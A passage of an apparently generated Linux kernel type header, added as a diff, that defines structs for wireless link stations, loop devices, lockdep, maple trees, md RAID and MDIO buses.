rate_info last_rate_info; + u64 msdu[17]; + } tx_stats; + enum ieee80211_sta_rx_bandwidth cur_max_bandwidth; + struct ieee80211_link_sta *pub; +}; + +struct link_station_del_parameters { + const u8 *mld_mac; + u32 link_id; +}; + +struct sta_txpwr { + s16 power; + enum nl80211_tx_power_setting type; +}; + +struct link_station_parameters { + const u8 *mld_mac; + int link_id; + const u8 *link_mac; + const u8 *supported_rates; + u8 supported_rates_len; + const struct ieee80211_ht_cap *ht_capa; + const struct ieee80211_vht_cap *vht_capa; + u8 opmode_notif; + bool opmode_notif_used; + const struct ieee80211_he_cap_elem *he_capa; + u8 he_capa_len; + struct sta_txpwr txpwr; + bool txpwr_set; + const struct ieee80211_he_6ghz_capa *he_6ghz_capa; + const struct ieee80211_eht_cap_elem *eht_capa; + u8 eht_capa_len; +}; + +struct linked_page { + struct linked_page *next; + char data[4088]; +}; + +struct linked_reg { + u8 frameno; + union { + u8 spi; + u8 regno; + }; + bool is_reg; +}; + +struct linked_regs { + int cnt; + struct linked_reg entries[6]; +}; + +struct linkinfo_reply_data { + struct ethnl_reply_data base; + struct ethtool_link_ksettings ksettings; + struct ethtool_link_settings *lsettings; +}; + +struct linkmodes_reply_data { + struct ethnl_reply_data base; + struct ethtool_link_ksettings ksettings; + struct ethtool_link_settings *lsettings; + bool peer_empty; +}; + +struct linkstate_reply_data { + struct ethnl_reply_data base; + int link; + int sqi; + int sqi_max; + struct ethtool_link_ext_stats link_stats; + bool link_ext_state_provided; + struct ethtool_link_ext_state_info ethtool_link_ext_state_info; +}; + +struct linux_binprm; + +struct linux_binfmt { + struct list_head lh; + struct module *module; + int (*load_binary)(struct linux_binprm *); + int (*load_shlib)(struct file *); + int (*core_dump)(struct coredump_params *); + unsigned long min_coredump; +}; + +struct rlimit { + __kernel_ulong_t rlim_cur; + __kernel_ulong_t rlim_max; +}; + +struct linux_binprm { + struct vm_area_struct *vma; + unsigned long vma_pages; + unsigned long argmin; + struct mm_struct *mm; + unsigned long p; + unsigned int have_execfd: 1; + unsigned int execfd_creds: 1; + unsigned int secureexec: 1; + unsigned int point_of_no_return: 1; + struct file *executable; + struct file *interpreter; + struct file *file; + struct cred *cred; + int unsafe; + unsigned int per_clear; + int argc; + int envc; + const char *filename; + const char *interp; + const char *fdpath; + unsigned int interp_flags; + int execfd; + unsigned long loader; + unsigned long exec; + struct rlimit rlim_stack; + char buf[256]; +}; + +struct linux_binprm__safe_trusted { + struct file *file; +}; + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[0]; +}; + +struct linux_dirent64 { + u64 d_ino; + s64 d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[0]; +}; + +struct linux_efi_memreserve { + int size; + atomic_t count; + phys_addr_t next; + struct { + phys_addr_t base; + phys_addr_t size; + } entry[0]; +}; + +struct linux_efi_random_seed { + u32 size; + u8 bits[0]; +}; + +struct linux_efi_tpm_eventlog { + u32 size; + u32 final_events_preboot_size; + u8 version; + u8 log[0]; +}; + +struct linux_mib { + unsigned long mibs[132]; +}; + +struct lirc_scancode { + __u64 timestamp; + __u16 flags; + __u16 rc_proto; + __u32 keycode; + __u64 scancode; +}; + +struct list_lru_node; + +struct list_lru { + struct list_lru_node *node; + struct list_head list; + int shrinker_id; + bool memcg_aware; + struct xarray xa; +}; + +struct list_lru_one { + struct list_head list; + long nr_items; +}; + +struct list_lru_memcg { + struct callback_head rcu; + struct list_lru_one node[0]; +}; + +struct list_lru_memcg_table { + struct list_lru_memcg *mlru; + struct mem_cgroup *memcg; +}; + +struct list_lru_node { + spinlock_t lock; + struct list_lru_one lru; + long nr_items; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct listener { + struct list_head list; + pid_t pid; + char valid; +}; + +struct listener_list { + struct rw_semaphore sem; + struct list_head list; +}; + +struct listeners { + struct callback_head rcu; + unsigned long masks[0]; +}; + +struct llc_addr { + unsigned char lsap; + unsigned char mac[6]; +}; + +struct llc_pdu_sn { + u8 dsap; + u8 ssap; + u8 ctrl_1; + u8 ctrl_2; +}; + +struct llc_pdu_un { + u8 dsap; + u8 ssap; + u8 ctrl_1; +}; + +struct llc_sap { + unsigned char state; + unsigned char p_bit; + unsigned char f_bit; + refcount_t refcnt; + int (*rcv_func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); + struct llc_addr laddr; + struct list_head node; + spinlock_t sk_lock; + int sk_count; + struct hlist_nulls_head sk_laddr_hash[64]; + struct hlist_head sk_dev_hash[64]; + struct callback_head rcu; +}; + +struct load_info { + const char *name; + struct module *mod; + Elf64_Ehdr *hdr; + unsigned long len; + Elf64_Shdr *sechdrs; + char *secstrings; + char *strtab; + unsigned long symoffs; + unsigned long stroffs; + unsigned long init_typeoffs; + unsigned long core_typeoffs; + bool sig_ok; + unsigned long mod_kallsyms_init_off; + struct { + unsigned int sym; + unsigned int str; + unsigned int mod; + unsigned int vers; + unsigned int info; + unsigned int pcpu; + } index; +}; + +struct local_ports { + u32 range; + bool warned; +}; + +struct lock_chain { + unsigned int irq_context: 2; + unsigned int depth: 6; + unsigned int base: 24; + struct hlist_node entry; + u64 chain_key; +}; + +typedef int (*lock_cmp_fn)(const struct lockdep_map *, const struct lockdep_map *); + +typedef void (*lock_print_fn)(const struct lockdep_map *); + +struct lock_trace; + +struct lock_class { + struct hlist_node hash_entry; + struct list_head lock_entry; + struct list_head locks_after; + struct list_head locks_before; + const struct lockdep_subclass_key *key; + lock_cmp_fn cmp_fn; + lock_print_fn print_fn; + unsigned int subclass; + unsigned int dep_gen_id; + unsigned long usage_mask; + const struct lock_trace *usage_traces[10]; + const char *name; + int name_version; + u8 wait_type_inner; + u8 wait_type_outer; + u8 lock_type; +}; + +struct lock_list { + struct list_head entry; + struct lock_class *class; + struct lock_class *links_to; + const struct lock_trace *trace; + u16 distance; + u8 dep; + u8 only_xr; + struct lock_list *parent; +}; + +struct lock_manager_operations { + void *lm_mod_owner; + fl_owner_t (*lm_get_owner)(fl_owner_t); + void (*lm_put_owner)(fl_owner_t); + void (*lm_notify)(struct file_lock *); + int (*lm_grant)(struct file_lock *, int); + bool (*lm_lock_expirable)(struct file_lock *); + void (*lm_expire_lock)(void); +}; + +struct lock_trace { + struct hlist_node hash_entry; + u32 hash; + u32 nr_entries; + unsigned long entries[0]; +}; + +struct locks_iterator { + int li_cpu; + loff_t li_pos; +}; + +struct logic_pio_host_ops { + u32 (*in)(void *, unsigned long, size_t); + void (*out)(void *, unsigned long, u32, size_t); + u32 (*ins)(void *, unsigned long, void *, size_t, unsigned int); + void (*outs)(void *, unsigned long, const void *, size_t, unsigned int); +}; + +struct logic_pio_hwaddr { + struct list_head list; + struct fwnode_handle *fwnode; + resource_size_t hw_start; + resource_size_t io_start; + resource_size_t size; + unsigned long flags; + void *hostdata; + const struct logic_pio_host_ops *ops; +}; + +struct lookup_args { + int offset; + const struct in6_addr *addr; +}; + +struct loop_cmd { + struct list_head list_entry; + bool use_aio; + atomic_t ref; + long ret; + struct kiocb iocb; + struct bio_vec *bvec; + struct cgroup_subsys_state *blkcg_css; + struct cgroup_subsys_state *memcg_css; +}; + +struct loop_info64 { + __u64 lo_device; + __u64 lo_inode; + __u64 lo_rdevice; + __u64 lo_offset; + __u64 lo_sizelimit; + __u32 lo_number; + __u32 lo_encrypt_type; + __u32 lo_encrypt_key_size; + __u32 lo_flags; + __u8 lo_file_name[64]; + __u8 lo_crypt_name[64]; + __u8 lo_encrypt_key[32]; + __u64 lo_init[2]; +}; + +struct loop_config { + __u32 fd; + __u32 block_size; + struct loop_info64 info; + __u64 __reserved[8]; +}; + +struct loop_device { + int lo_number; + loff_t lo_offset; + loff_t lo_sizelimit; + int lo_flags; + char lo_file_name[64]; + struct file *lo_backing_file; + struct block_device *lo_device; + gfp_t old_gfp_mask; + spinlock_t lo_lock; + int lo_state; + spinlock_t lo_work_lock; + struct workqueue_struct *workqueue; + struct work_struct rootcg_work; + struct list_head rootcg_cmd_list; + struct list_head idle_worker_list; + struct rb_root worker_tree; + struct timer_list timer; + bool use_dio; + bool sysfs_inited; + struct request_queue *lo_queue; + struct blk_mq_tag_set tag_set; + struct gendisk *lo_disk; + struct mutex lo_mutex; + bool idr_visible; +}; + +struct loop_info { + int lo_number; + __kernel_old_dev_t lo_device; + unsigned long lo_inode; + __kernel_old_dev_t lo_rdevice; + int lo_offset; + int lo_encrypt_type; + int lo_encrypt_key_size; + int lo_flags; + char lo_name[64]; + unsigned char lo_encrypt_key[32]; + unsigned long lo_init[2]; + char reserved[4]; +}; + +struct loop_worker { + struct rb_node rb_node; + struct work_struct work; + struct list_head cmd_list; + struct list_head idle_list; + struct loop_device *lo; + struct cgroup_subsys_state *blkcg_css; + unsigned long last_ran_at; +}; + +union lower_chunk { + union lower_chunk *next; + unsigned long data[256]; +}; + +struct lpi_constraints { + acpi_handle handle; + int min_dstate; +}; + +struct lpi_device_constraint { + int uid; + int min_dstate; + int function_states; +}; + +struct lpi_device_constraint_amd { + char *name; + int enabled; + int function_states; + int min_dstate; +}; + +struct lpi_device_info { + char *name; + int enabled; + union acpi_object *package; +}; + +struct lpit_residency_info { + struct acpi_generic_address gaddr; + u64 frequency; + void *iomem_addr; +}; + +struct lpm_trie_node; + +struct lpm_trie { + struct bpf_map map; + struct lpm_trie_node __attribute__((btf_type_tag("rcu"))) *root; + size_t n_entries; + size_t max_prefixlen; + size_t data_size; + spinlock_t lock; +}; + +struct lpm_trie_node { + struct callback_head rcu; + struct lpm_trie_node __attribute__((btf_type_tag("rcu"))) *child[2]; + u32 prefixlen; + u32 flags; + u8 data[0]; +}; + +struct lpss8250_board; + +struct lpss8250 { + struct dw8250_port_data data; + struct lpss8250_board *board; + struct dw_dma_chip dma_chip; + struct dw_dma_slave dma_param; + u8 dma_maxburst; +}; + +struct lpss8250_board { + unsigned long freq; + unsigned int base_baud; + int (*setup)(struct lpss8250 *, struct uart_port *); + void (*exit)(struct lpss8250 *); +}; + +struct zswap_lruvec_state { + atomic_long_t nr_disk_swapins; +}; + +struct pglist_data; + +struct lruvec { + struct list_head lists[5]; + spinlock_t lru_lock; + unsigned long anon_cost; + unsigned long file_cost; + atomic_long_t nonresident_age; + unsigned long refaults[2]; + unsigned long flags; + struct pglist_data *pgdat; + struct zswap_lruvec_state zswap_lruvec_state; +}; + +struct lruvec_stats { + long state[30]; + long state_local[30]; + long state_pending[30]; +}; + +struct lruvec_stats_percpu { + long state[30]; + long state_prev[30]; +}; + +struct skcipher_alg_common { + unsigned int min_keysize; + unsigned int max_keysize; + unsigned int ivsize; + unsigned int chunksize; + unsigned int statesize; + struct crypto_alg base; +}; + +struct lskcipher_alg { + int (*setkey)(struct crypto_lskcipher *, const u8 *, unsigned int); + int (*encrypt)(struct crypto_lskcipher *, const u8 *, u8 *, unsigned int, u8 *, u32); + int (*decrypt)(struct crypto_lskcipher *, const u8 *, u8 *, unsigned int, u8 *, u32); + int (*init)(struct crypto_lskcipher *); + void (*exit)(struct crypto_lskcipher *); + struct skcipher_alg_common co; +}; + +struct lskcipher_instance { + void (*free)(struct lskcipher_instance *); + union { + struct { + char head[64]; + struct crypto_instance base; + } s; + struct lskcipher_alg alg; + }; +}; + +struct lwq { + spinlock_t lock; + struct llist_node *ready; + struct llist_head new; +}; + +struct lwtunnel_encap_ops { + int (*build_state)(struct net *, struct nlattr *, unsigned int, const void *, struct lwtunnel_state **, struct netlink_ext_ack *); + void (*destroy_state)(struct lwtunnel_state *); + int (*output)(struct net *, struct sock *, struct sk_buff *); + int (*input)(struct sk_buff *); + int (*fill_encap)(struct sk_buff *, struct lwtunnel_state *); + int (*get_encap_size)(struct lwtunnel_state *); + int (*cmp_encap)(struct lwtunnel_state *, struct lwtunnel_state *); + int (*xmit)(struct sk_buff *); + struct module *owner; +}; + +struct lwtunnel_state { + __u16 type; + __u16 flags; + __u16 headroom; + atomic_t refcnt; + int (*orig_output)(struct net *, struct sock *, struct sk_buff *); + int (*orig_input)(struct sk_buff *); + struct callback_head rcu; + __u8 data[0]; +}; + +struct lzo_ctx { + void *lzo_comp_mem; +}; + +struct lzorle_ctx { + void *lzorle_comp_mem; +}; + +struct ma_topiary { + struct maple_enode *head; + struct maple_enode *tail; + struct maple_tree *mtree; +}; + +struct maple_node; + +struct ma_wr_state { + struct ma_state *mas; + struct maple_node *node; + unsigned long r_min; + unsigned long r_max; + enum maple_type type; + unsigned char offset_end; + unsigned long *pivots; + unsigned long end_piv; + void __attribute__((btf_type_tag("rcu"))) **slots; + void *entry; + void *content; +}; + +struct mac80211_qos_map { + struct cfg80211_qos_map qos_map; + struct callback_head callback_head; +}; + +struct mac_addr { + unsigned char addr[6]; +}; + +typedef struct mac_addr mac_addr; + +struct mac_iveiv_entry { + u8 iv[8]; +}; + +struct mac_wcid_entry { + u8 mac[6]; + u8 reserved[2]; +}; + +struct machine_ops { + void (*restart)(char *); + void (*halt)(void); + void (*power_off)(void); + void (*shutdown)(void); + void (*crash_shutdown)(struct pt_regs *); + void (*emergency_restart)(void); +}; + +struct macsec_info { + sci_t sci; +}; + +struct mmu_gather; + +struct madvise_walk_private { + struct mmu_gather *tlb; + bool pageout; +}; + +struct mafield { + const char *prefix; + int field; +}; + +struct map_attribute { + struct attribute attr; + ssize_t (*show)(struct efi_runtime_map_entry *, char *); +}; + +struct map_files_info { + unsigned long start; + unsigned long end; + fmode_t mode; +}; + +struct map_info___2 { + struct map_info___2 *next; + struct mm_struct *mm; + unsigned long vaddr; +}; + +struct map_iter { + void *key; + bool done; +}; + +struct map_range { + unsigned long start; + unsigned long end; + unsigned int page_size_mask; +}; + +struct maple_alloc { + unsigned long total; + unsigned char node_count; + unsigned int request_count; + struct maple_alloc *slot[30]; +}; + +struct maple_pnode; + +struct maple_metadata { + unsigned char end; + unsigned char gap; +}; + +struct maple_arange_64 { + struct maple_pnode *parent; + unsigned long pivot[9]; + void __attribute__((btf_type_tag("rcu"))) *slot[10]; + unsigned long gap[10]; + struct maple_metadata meta; +}; + +struct maple_big_node { + struct maple_pnode *parent; + unsigned long pivot[33]; + union { + struct maple_enode *slot[34]; + struct { + unsigned long padding[21]; + unsigned long gap[21]; + }; + }; + unsigned char b_end; + enum maple_type type; +}; + +struct maple_range_64 { + struct maple_pnode *parent; + unsigned long pivot[15]; + union { + void __attribute__((btf_type_tag("rcu"))) *slot[16]; + struct { + void __attribute__((btf_type_tag("rcu"))) *pad[15]; + struct maple_metadata meta; + }; + }; +}; + +struct maple_node { + union { + struct { + struct maple_pnode *parent; + void __attribute__((btf_type_tag("rcu"))) *slot[31]; + }; + struct { + void *pad; + struct callback_head rcu; + struct maple_enode *piv_parent; + unsigned char parent_slot; + enum maple_type type; + unsigned char slot_len; + unsigned int ma_flags; + }; + struct maple_range_64 mr64; + struct maple_arange_64 ma64; + struct maple_alloc alloc; + }; +}; + +struct maple_subtree_state { + struct ma_state *orig_l; + struct ma_state *orig_r; + struct ma_state *l; + struct ma_state *m; + struct ma_state *r; + struct ma_topiary *free; + struct ma_topiary *destroy; + struct maple_big_node *bn; +}; + +struct maple_topiary { + struct maple_pnode *parent; + struct maple_enode *next; +}; + +struct mapped_device { + struct mutex suspend_lock; + struct mutex table_devices_lock; + struct list_head table_devices; + void __attribute__((btf_type_tag("rcu"))) *map; + unsigned long flags; + struct mutex type_lock; + enum dm_queue_mode type; + int numa_node_id; + struct request_queue *queue; + atomic_t holders; + atomic_t open_count; + struct dm_target *immutable_target; + struct target_type *immutable_target_type; + char name[16]; + struct gendisk *disk; + struct dax_device *dax_dev; + wait_queue_head_t wait; + unsigned long __attribute__((btf_type_tag("percpu"))) *pending_io; + struct hd_geometry geometry; + struct workqueue_struct *wq; + struct work_struct work; + spinlock_t deferred_lock; + struct bio_list deferred; + struct work_struct requeue_work; + struct dm_io *requeue_list; + void *interface_ptr; + wait_queue_head_t eventq; + atomic_t event_nr; + atomic_t uevent_seq; + struct list_head uevent_list; + spinlock_t uevent_lock; + bool init_tio_pdu: 1; + struct blk_mq_tag_set *tag_set; + struct dm_stats stats; + unsigned int internal_suspend_count; + int swap_bios; + struct semaphore swap_bios_semaphore; + struct mutex swap_bios_lock; + struct dm_md_mempools *mempools; + struct dm_kobject_holder kobj_holder; + struct srcu_struct io_barrier; +}; + +struct mapping_node { + struct { + struct rb_node rb_node; + u64 bytenr; + }; + void *data; +}; + +struct mapping_tree { + struct rb_root rb_root; + spinlock_t lock; +}; + +struct masq_dev_work { + struct work_struct work; + struct net *net; + netns_tracker ns_tracker; + union nf_inet_addr addr; + int ifindex; + int (*iter)(struct nf_conn *, void *); +}; + +struct match_token { + int token; + const char *pattern; +}; + +struct math_emu_info { + long ___orig_eip; + struct pt_regs *regs; +}; + +struct mb_cache { + struct hlist_bl_head *c_hash; + int c_bucket_bits; + unsigned long c_max_entries; + spinlock_t c_list_lock; + struct list_head c_list; + unsigned long c_entry_count; + struct shrinker *c_shrink; + struct work_struct c_shrink_work; +}; + +struct mb_cache_entry { + struct list_head e_list; + struct hlist_bl_node e_hash_list; + atomic_t e_refcnt; + u32 e_key; + unsigned long e_flags; + u64 e_value; +}; + +struct mbox_controller; + +struct mbox_client; + +struct mbox_chan { + struct mbox_controller *mbox; + unsigned int txdone_method; + struct mbox_client *cl; + struct completion tx_complete; + void *active_req; + unsigned int msg_count; + unsigned int msg_free; + void *msg_data[20]; + spinlock_t lock; + void *con_priv; +}; + +struct mbox_chan_ops { + int (*send_data)(struct mbox_chan *, void *); + int (*flush)(struct mbox_chan *, unsigned long); + int (*startup)(struct mbox_chan *); + void (*shutdown)(struct mbox_chan *); + bool (*last_tx_done)(struct mbox_chan *); + bool (*peek_data)(struct mbox_chan *); +}; + +struct mbox_client { + struct device *dev; + bool tx_block; + unsigned long tx_tout; + bool knows_txdone; + void (*rx_callback)(struct mbox_client *, void *); + void (*tx_prepare)(struct mbox_client *, void *); + void (*tx_done)(struct mbox_client *, void *, int); +}; + +struct of_phandle_args; + +struct mbox_controller { + struct device *dev; + const struct mbox_chan_ops *ops; + struct mbox_chan *chans; + int num_chans; + bool txdone_irq; + bool txdone_poll; + unsigned int txpoll_period; + struct mbox_chan * (*of_xlate)(struct mbox_controller *, const struct of_phandle_args *); + struct hrtimer poll_hrt; + spinlock_t poll_hrt_lock; + struct list_head node; +}; + +struct mc146818_get_time_callback_param { + struct rtc_time *time; + unsigned char ctrl; + unsigned char century; +}; + +struct mcs_group { + u8 shift; + u16 duration[14]; +}; + +struct mcs_group___2 { + u16 flags; + u8 streams; + u8 shift; + u8 bw; + u16 duration[10]; +}; + +struct mcs_spinlock { + struct mcs_spinlock *next; + int locked; + int count; +}; + +struct md5_state { + u32 hash[4]; + u32 block[16]; + u64 byte_count; +}; + +struct md_bitmap_stats { + u64 events_cleared; + int behind_writes; + bool behind_wait; + unsigned long missing_pages; + unsigned long file_pages; + unsigned long sync_size; + unsigned long pages; + struct file *file; +}; + +struct md_cluster_operations { + int (*join)(struct mddev *, int); + int (*leave)(struct mddev *); + int (*slot_number)(struct mddev *); + int (*resync_info_update)(struct mddev *, sector_t, sector_t); + int (*resync_start_notify)(struct mddev *); + int (*resync_status_get)(struct mddev *); + void (*resync_info_get)(struct mddev *, sector_t *, sector_t *); + int (*metadata_update_start)(struct mddev *); + int (*metadata_update_finish)(struct mddev *); + void (*metadata_update_cancel)(struct mddev *); + int (*resync_start)(struct mddev *); + int (*resync_finish)(struct mddev *); + int (*area_resyncing)(struct mddev *, int, sector_t, sector_t); + int (*add_new_disk)(struct mddev *, struct md_rdev *); + void (*add_new_disk_cancel)(struct mddev *); + int (*new_disk_ack)(struct mddev *, bool); + int (*remove_disk)(struct mddev *, struct md_rdev *); + void (*load_bitmaps)(struct mddev *, int); + int (*gather_bitmaps)(struct md_rdev *); + int (*resize_bitmaps)(struct mddev *, sector_t, sector_t); + int (*lock_all_bitmaps)(struct mddev *); + void (*unlock_all_bitmaps)(struct mddev *); + void (*update_size)(struct mddev *, sector_t); +}; + +struct md_io_clone { + struct mddev *mddev; + struct bio *orig_bio; + unsigned long start_time; + struct bio bio_clone; +}; + +struct md_personality { + char *name; + int level; + struct list_head list; + struct module *owner; + bool (*make_request)(struct mddev *, struct bio *); + int (*run)(struct mddev *); + int (*start)(struct mddev *); + void (*free)(struct mddev *, void *); + void (*status)(struct seq_file *, struct mddev *); + void (*error_handler)(struct mddev *, struct md_rdev *); + int (*hot_add_disk)(struct mddev *, struct md_rdev *); + int (*hot_remove_disk)(struct mddev *, struct md_rdev *); + int (*spare_active)(struct mddev *); + sector_t (*sync_request)(struct mddev *, sector_t, sector_t, int *); + int (*resize)(struct mddev *, sector_t); + sector_t (*size)(struct mddev *, sector_t, int); + int (*check_reshape)(struct mddev *); + int (*start_reshape)(struct mddev *); + void (*finish_reshape)(struct mddev *); + void (*update_reshape_pos)(struct mddev *); + void (*prepare_suspend)(struct mddev *); + void (*quiesce)(struct mddev *, int); + void * (*takeover)(struct mddev *); + int (*change_consistency_policy)(struct mddev *, const char *); +}; + +struct serial_in_rdev; + +struct md_rdev { + struct list_head same_set; + sector_t sectors; + struct mddev *mddev; + int last_events; + struct block_device *meta_bdev; + struct block_device *bdev; + struct file *bdev_file; + struct page *sb_page; + struct page *bb_page; + int sb_loaded; + __u64 sb_events; + sector_t data_offset; + sector_t new_data_offset; + sector_t sb_start; + int sb_size; + int preferred_minor; + struct kobject kobj; + unsigned long flags; + wait_queue_head_t blocked_wait; + int desc_nr; + int raid_disk; + int new_raid_disk; + int saved_raid_disk; + union { + sector_t recovery_offset; + sector_t journal_tail; + }; + atomic_t nr_pending; + atomic_t read_errors; + time64_t last_read_error; + atomic_t corrected_errors; + struct serial_in_rdev *serial; + struct kernfs_node *sysfs_state; + struct kernfs_node *sysfs_unack_badblocks; + struct kernfs_node *sysfs_badblocks; + struct badblocks badblocks; + struct { + short offset; + unsigned int size; + sector_t sector; + } ppl; +}; + +struct md_setup_args { + int minor; + int partitioned; + int level; + int chunk; + char *device_names; +}; + +struct md_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct mddev *, char *); + ssize_t (*store)(struct mddev *, const char *, size_t); +}; + +struct md_thread { + void (*run)(struct md_thread *); + struct mddev *mddev; + wait_queue_head_t wqueue; + unsigned long flags; + struct task_struct *tsk; + unsigned long timeout; + void *private; +}; + +struct md_cluster_info; + +struct mddev { + void *private; + struct md_personality *pers; + dev_t unit; + int md_minor; + struct list_head disks; + unsigned long flags; + unsigned long sb_flags; + int suspended; + struct mutex suspend_mutex; + struct percpu_ref active_io; + int ro; + int sysfs_active; + struct gendisk *gendisk; + struct kobject kobj; + int hold_active; + int major_version; + int minor_version; + int patch_version; + int persistent; + int external; + char metadata_type[17]; + int chunk_sectors; + time64_t ctime; + time64_t utime; + int level; + int layout; + char clevel[16]; + int raid_disks; + int max_disks; + sector_t dev_sectors; + sector_t array_sectors; + int external_size; + __u64 events; + int can_decrease_events; + char uuid[16]; + sector_t reshape_position; + int delta_disks; + int new_level; + int new_layout; + int new_chunk_sectors; + int reshape_backwards; + struct md_thread __attribute__((btf_type_tag("rcu"))) *thread; + struct md_thread __attribute__((btf_type_tag("rcu"))) *sync_thread; + enum sync_action last_sync_action; + sector_t curr_resync; + sector_t curr_resync_completed; + unsigned long resync_mark; + sector_t resync_mark_cnt; + sector_t curr_mark_cnt; + sector_t resync_max_sectors; + atomic64_t resync_mismatches; + sector_t suspend_lo; + sector_t suspend_hi; + int sync_speed_min; + int sync_speed_max; + int parallel_resync; + int ok_start_degraded; + unsigned long recovery; + int recovery_disabled; + int in_sync; + struct mutex open_mutex; + struct mutex reconfig_mutex; + atomic_t active; + atomic_t openers; + int changed; + int degraded; + atomic_t recovery_active; + wait_queue_head_t recovery_wait; + sector_t recovery_cp; + sector_t resync_min; + sector_t resync_max; + struct kernfs_node *sysfs_state; + struct kernfs_node *sysfs_action; + struct kernfs_node *sysfs_completed; + struct kernfs_node *sysfs_degraded; + struct kernfs_node *sysfs_level; + struct work_struct del_work; + struct work_struct sync_work; + spinlock_t lock; + wait_queue_head_t sb_wait; + atomic_t pending_writes; + unsigned int safemode; + unsigned int safemode_delay; + struct timer_list safemode_timer; + struct percpu_ref writes_pending; + int sync_checkers; + void *bitmap; + struct bitmap_operations *bitmap_ops; + struct { + struct file *file; + loff_t offset; + unsigned long space; + loff_t default_offset; + unsigned long default_space; + struct mutex mutex; + unsigned long chunksize; + unsigned long daemon_sleep; + unsigned long max_write_behind; + int external; + int nodes; + char cluster_name[64]; + } bitmap_info; + atomic_t max_corr_read_errors; + struct list_head all_mddevs; + const struct attribute_group *to_remove; + struct bio_set bio_set; + struct bio_set sync_set; + struct bio_set io_clone_set; + struct work_struct event_work; + mempool_t *serial_info_pool; + void (*sync_super)(struct mddev *, struct md_rdev *); + struct md_cluster_info *cluster_info; + unsigned int good_device_nr; + unsigned int noio_flag; + struct list_head deleting; + atomic_t sync_seq; + bool has_superblocks: 1; + bool fail_last_dev: 1; + bool serialize_policy: 1; +}; + +struct mdio_board_info { + const char *bus_id; + char modalias[32]; + int mdio_addr; + const void *platform_data; +}; + +struct mdio_board_entry { + struct list_head list; + struct mdio_board_info board_info; +}; + +struct mdio_bus_stat_attr { + int addr; + unsigned int field_offset; +}; + +struct mdio_bus_stats { + u64_stats_t transfers; + u64_stats_t errors; + u64_stats_t writes; + u64_stats_t reads; + struct u64_stats_sync syncp; +}; + +struct mdio_device { + struct device dev; + struct mii_bus *bus; + char modalias[32]; + int (*bus_match)(struct device *, const struct device_driver *); + void (*device_free)(struct mdio_device *); + void (*device_remove)(struct mdio_device *); + int addr; + int flags; + int reset_state; + struct gpio_desc *reset_gpio; + struct reset_control *reset_ctrl; + unsigned int reset_assert_delay; + unsigned int reset_deassert_delay; +}; + +struct mdio_driver_common { + struct device_driver driver; + int flags; +}; + +struct mdio_driver { + struct mdio_driver_common mdiodrv; + int (*probe)(struct mdio_device *); + void (*remove)(struct mdio_device *); + void (*shutdown)(struct mdio_device *); +}; + +struct mdiobus_devres { + struct mii_bus *mii; +}; + +struct mdp_device_descriptor_s { + __u32 number; + __u32 major; + __u32 minor; + __u32 raid_disk; + __u32 state; + __u32 reserved[27]; +}; + +typedef struct mdp_device_descriptor_s mdp_disk_t; + +struct mdp_superblock_1 { + __le32 magic; + __le32 major_version; + __le32 feature_map; + __le32 pad0; + __u8 set_uuid[16]; + char set_name[32]; + __le64 ctime; + __le32 level; + __le32 layout; + __le64 size; + __le32 chunksize; + __le32 raid_disks; + union { + __le32 bitmap_offset; + struct { + __le16 offset; + __le16 size; + } ppl; + }; + __le32 new_level; + __le64 reshape_position; + __le32 delta_disks; + __le32 new_layout; + __le32 new_chunk; + __le32 new_offset; + __le64 data_offset; + __le64 data_size; + __le64 super_offset; + union { + __le64 recovery_offset; + __le64 journal_tail; + }; + __le32 dev_number; + __le32 cnt_corrected_read; + __u8 device_uuid[16]; + __u8 devflags; + __u8 bblog_shift; + __le16 bblog_size; + __le32 bblog_offset; + __le64 utime; + __le64 events; + __le64 resync_offset; + __le32 sb_csum; + __le32 max_dev; + __u8 pad3[32]; + __le16 dev_roles[0]; +}; + +struct mdp_superblock_s { + __u32 md_magic; + __u32 major_version; + __u32 minor_version; + __u32 patch_version; + __u32 gvalid_words; + __u32 set_uuid0; + __u32 ctime; + __u32 level; + __u32 size; + __u32 nr_disks; + __u32 raid_disks; + __u32 md_minor; + __u32 not_persistent; + __u32 set_uuid1; + __u32 set_uuid2; + __u32 set_uuid3; + __u32 gstate_creserved[16]; + __u32 utime; + __u32 state; + __u32 active_disks; + __u32 working_disks; + __u32 failed_disks; + __u32 spare_disks; + __u32 sb_csum; + __u32 events_lo; + __u32 events_hi; + __u32 cp_events_lo; + __u32 cp_events_hi; + __u32 recovery_cp; + __u64 reshape_position; + __u32 new_level; + __u32 delta_disks; + __u32 new_layout; + __u32 new_chunk; + __u32 gstate_sreserved[14]; + __u32 layout; + __u32 chunk_size; + __u32 root_pv; + __u32 root_block; + __u32 pstate_reserved[60]; + mdp_disk_t disks[27]; + __u32 reserved[0]; + mdp_disk_t this_disk; +}; + +typedef struct mdp_superblock_s mdp_super_t; + +struct mdu_array_info_s { + int major_version; + int minor_version; + int patch_version; + unsigned int ctime; + int level; + int size; + int nr_disks; + int raid_disks; + int md_minor; + int not_persistent; + unsigned int utime; + int state; + int active_disks; + int working_disks; + int failed_disks; + int spare_disks; + int layout; + int chunk_size; +}; + +typedef struct mdu_array_info_s mdu_array_info_t; + +struct mdu_bitmap_file_s { + char pathname[4096]; +}; + +typedef struct mdu_bitmap_file_s mdu_bitmap_file_t; + +struct mdu_disk_info_s { + int number; + int major; + int minor; + int raid_disk; + int state; +}; + +typedef struct mdu_disk_info_s mdu_disk_info_t; + +struct mdu_version_s { + int major; + int minor; + int patchlevel; +}; + +typedef struct mdu_version_s mdu_version_t; + +struct stats { + __le32 tx_good_frames; + __le32 tx_max_collisions; + __le32 tx_late_collisions; + __le32 tx_underruns; + __le32 tx_lost_crs; + __le32 tx_deferred; + __le32 tx_single_collisions; + __le32 tx_multiple_collisions; + __le32 tx_total_collisions; + __le32 rx_good_frames; + __le32 rx_crc_errors; + __le32 rx_alignment_errors; + __le32 rx_resource_errors; + __le32 rx_overrun_errors; + __le32 rx_cdt_errors; + __le32 rx_short_frame_errors; + __le32 fc_xmt_pause; + __le32 fc_rcv_pause; + __le32 fc_rcv_unsupported; + __le16 xmt_tco_frames; + __le16 rcv_tco_frames; + __le32 complete; +}; + +struct mem { + struct { + u32 signature; + u32 result; + } selftest; + struct stats stats; + u8 dump_buf[596]; +}; + +struct mem_cgroup_id { + int id; + refcount_t ref; +}; + +struct vmpressure { + unsigned long scanned; + unsigned long reclaimed; + 